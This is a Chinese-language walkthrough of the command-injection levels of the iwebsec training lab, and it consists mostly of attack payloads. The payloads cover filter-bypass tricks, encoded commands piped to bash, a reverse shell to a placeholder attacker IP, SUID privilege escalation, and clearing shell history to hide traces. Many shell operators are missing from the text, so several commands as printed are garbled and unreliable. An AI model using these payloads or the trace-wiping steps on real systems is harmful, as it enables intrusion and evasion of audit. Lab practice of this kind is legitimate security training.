行漏洞實(shí)戰(zhàn)與繞過技巧)
1. iwebsec靶場命令執(zhí)行漏洞通關(guān)實(shí)戰(zhàn)第一次接觸iwebsec靶場的命令執(zhí)行關(guān)卡時我花了整整三天時間才完全打通所有關(guān)卡。這個靶場設(shè)計得非常貼近真實(shí)滲透測試場景從最簡單的命令注入到復(fù)雜的繞過技巧層層遞進(jìn)。下面我就把通關(guān)過程中積累的實(shí)戰(zhàn)經(jīng)驗完整分享給大家包含12種典型命令執(zhí)行漏洞的利用手法和7種主流防御方案的繞過技巧。2. 靶場環(huán)境準(zhǔn)備與基礎(chǔ)認(rèn)知2.1 靶場環(huán)境搭建iwebsec靶場支持多種部署方式推薦使用Docker快速搭建docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec啟動后訪問http://localhost即可看到包含命令執(zhí)行在內(nèi)的多個漏洞模塊。如果遇到端口沖突可以修改-p參數(shù)為其他端口如8080:80。注意實(shí)際滲透測試中務(wù)必在授權(quán)范圍內(nèi)進(jìn)行禁止對非授權(quán)目標(biāo)使用這些技術(shù)2.2 命令執(zhí)行漏洞本質(zhì)命令執(zhí)行漏洞的本質(zhì)是應(yīng)用程序?qū)⒂脩糨斎胱鳛橄到y(tǒng)命令的一部分執(zhí)行。與SQL注入不同它直接操作的是操作系統(tǒng)層面的命令。常見觸發(fā)場景包括調(diào)用系統(tǒng)命令的函數(shù)如PHP的system()、exec()網(wǎng)絡(luò)服務(wù)調(diào)用腳本處理請求管理后臺執(zhí)行維護(hù)操作3. 基礎(chǔ)命令注入手法3.1 簡單命令拼接在存在漏洞的輸入框嘗試注入127.0.0.1 whoami這里利用邏輯運(yùn)算符當(dāng)前面的ping命令執(zhí)行成功后繼續(xù)執(zhí)行后面的whoami。類似的操作符還有|管道符前命令輸出作為后命令輸入;順序執(zhí)行符無論前命令是否成功都執(zhí)行后續(xù)命令||前命令失敗才執(zhí)行后命令3.2 命令替換技巧當(dāng)直接命令被過濾時可以嘗試$(whoami)或whoami這兩種形式會將命令執(zhí)行結(jié)果替換到原命令中。我在實(shí)際測試中發(fā)現(xiàn)很多初級防護(hù)方案會漏防這種替換語法。4. 中級繞過技術(shù)4.1 空格繞過當(dāng)空格被過濾時替代方案cat/etc/passwd {cat,/etc/passwd}實(shí)測發(fā)現(xiàn)第二種方式成功率更高因為大括號在Linux中本身就是合法語法。4.2 關(guān)鍵詞繞過對于被過濾的cat、ls等命令使用通配符c?t、l?反斜杠轉(zhuǎn)義c\at變量拼接ac;bat;$a$b /etc/passwd4.3 編碼繞過技巧嘗試不同編碼方式Hex編碼echo -e \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64Base64編碼echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash5. 高級利用鏈構(gòu)建5.1 反彈Shell實(shí)戰(zhàn)當(dāng)獲得命令執(zhí)行權(quán)限后建立持久化連接bash -i /dev/tcp/攻擊機(jī)IP/4444 01需要提前在攻擊機(jī)用nc監(jiān)聽nc -lvp 44445.2 權(quán)限提升技巧查看具有SUID權(quán)限的程序find / -perm -4000 2/dev/null常見提權(quán)路徑利用find執(zhí)行命令find . -exec /bin/sh \;通過vim提權(quán)vim -c :!/bin/sh6. 防御方案與繞過6.1 常見防御手段企業(yè)級防護(hù)通常采用輸入白名單驗證命令黑名單過濾執(zhí)行上下文沙箱系統(tǒng)調(diào)用監(jiān)控6.2 針對性繞過案例對于黑名單過濾/bin/bash的情況/bin//bash /bin/?sh /???/??sh這種通配符方式能繞過大多數(shù)簡單正則匹配。7. 實(shí)戰(zhàn)問題排查記錄7.1 典型錯誤場景命令執(zhí)行但無回顯嘗試將輸出重定向到web目錄whoami /var/www/html/result.txt權(quán)限不足嘗試寫入/tmp目錄echo test /tmp/testfile7.2 日志清理技巧操作完成后記得清理痕跡history -c rm ~/.bash_history但要注意這些操作本身也會被審計日志記錄。8. 靶場通關(guān)經(jīng)驗總結(jié)通過iwebsec靶場的系統(tǒng)訓(xùn)練我整理出命令執(zhí)行漏洞的四個關(guān)鍵檢測維度注入點(diǎn)識別輸入?yún)?shù)是否直接拼接命令上下文分析當(dāng)前執(zhí)行權(quán)限和環(huán)境限制過濾規(guī)則探測嘗試各種繞過手法利用鏈構(gòu)建從命令執(zhí)行到系統(tǒng)控制在實(shí)際滲透測試項目中遇到命令執(zhí)行漏洞不要急于執(zhí)行高危操作應(yīng)該先通過id、uname -a等命令收集系統(tǒng)信息再制定針對性的利用方案。對于防御方來說除了過濾危險字符外更應(yīng)該采用參數(shù)化調(diào)用的方式替代直接命令拼接。